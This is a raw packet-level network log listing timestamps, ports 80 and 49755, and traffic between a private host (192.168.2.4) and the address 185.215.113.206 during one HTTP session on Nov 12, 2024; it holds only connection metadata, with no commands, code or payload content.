Nov 12, 2024 02:13:28.670634031 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670641899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670651913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670658112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670664072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670675039 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670682907 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670686960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670692921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670701027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670718908 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670742035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670747995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670753956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670763969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670779943 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670803070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670803070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670815945 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670828104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670845032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670854092 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670855999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670869112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670878887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670892954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670914888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670919895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670927048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670937061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670950890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670963049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670996904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670998096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671024084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671035051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671044111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671061039 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671078920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671080112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671093941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671124935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671130896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671142101 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671144962 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671156883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671168089 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671168089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671180010 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671192884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671204090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671211004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671226025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671228886 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671242952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671253920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671263933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671287060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671308994 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671333075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671344995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671355963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671370983 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671382904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671389103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671401024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671416044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671423912 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671449900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671546936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671591043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671747923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671760082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671776056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671787977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671789885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671799898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671802044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671813011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671824932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671825886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671844959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671847105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671858072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671869040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671871901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671881914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671892881 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671902895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671905041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671916008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671921015 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671943903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671947002 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671958923 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671966076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671983957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.671987057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.671994925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672007084 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672013998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672014952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672027111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672035933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672039032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672046900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672050953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672069073 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672070980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672075987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672082901 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672095060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672100067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672111034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672111988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.672127008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.672148943 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.712666988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.712680101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.712692022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.712724924 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.712744951 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.713330984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.713354111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.713366985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.713380098 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.713398933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.713418961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.713432074 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.713442087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.713464975 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.713483095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.752942085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.752995014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.753006935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.753017902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.753030062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.753040075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.753056049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.753084898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.784799099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.784810066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.784821987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.784956932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.784970045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.784980059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.784991026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785002947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785015106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785037041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785037041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785037041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785048008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785048008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785051107 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785079956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785098076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785108089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785115004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785120964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785129070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785149097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785161972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785165071 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785173893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785185099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785185099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785198927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785209894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785211086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785232067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785239935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785248041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785253048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785264015 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785275936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785279989 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785291910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785294056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785305977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785305977 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785320997 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785330057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785334110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785347939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785356045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785362005 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785375118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785381079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785387993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785398960 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785406113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785424948 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785450935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785502911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785515070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785526037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785542965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785551071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785562992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785562992 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785572052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785583019 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785598993 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785609007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785620928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785655022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785665035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785676956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785695076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785698891 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785703897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785717010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785722971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785737038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785752058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785758018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785763979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785767078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785799026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785826921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785836935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785850048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785862923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785872936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785873890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785887003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785890102 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785901070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785911083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785918951 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785940886 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785953999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785955906 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.785965919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.785989046 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786005020 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786017895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786036968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786047935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786075115 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786098957 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786149979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786161900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786171913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786183119 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786195040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786195040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786206961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786221027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786226034 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786243916 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786247969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786262035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786264896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786274910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786283970 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786288977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786309004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786319971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786334038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786448002 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786458969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786469936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786489010 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786520958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786529064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786539078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786544085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786554098 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786565065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786575079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786580086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786601067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786612988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786612988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786628008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786653042 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786669970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786669970 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786695957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786706924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786717892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.786735058 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.786758900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787332058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787343025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787353992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787364006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787374973 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787375927 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787385941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787388086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787400961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787412882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787412882 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787432909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787453890 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787477016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787489891 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787506104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787523031 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787528038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787544012 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787549019 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787556887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787569046 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787569046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787579060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787589073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787595987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787605047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787610054 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787617922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787625074 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787631035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787641048 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787642956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787652969 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787656069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787668943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787672043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787683010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787684917 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787698030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787704945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787709951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787723064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787725925 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787734985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787746906 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787749052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787760019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787771940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.787775993 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787794113 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.787818909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.827939987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.827950954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.827961922 CET	80	49755	185.215.113.206	192.168.2.4
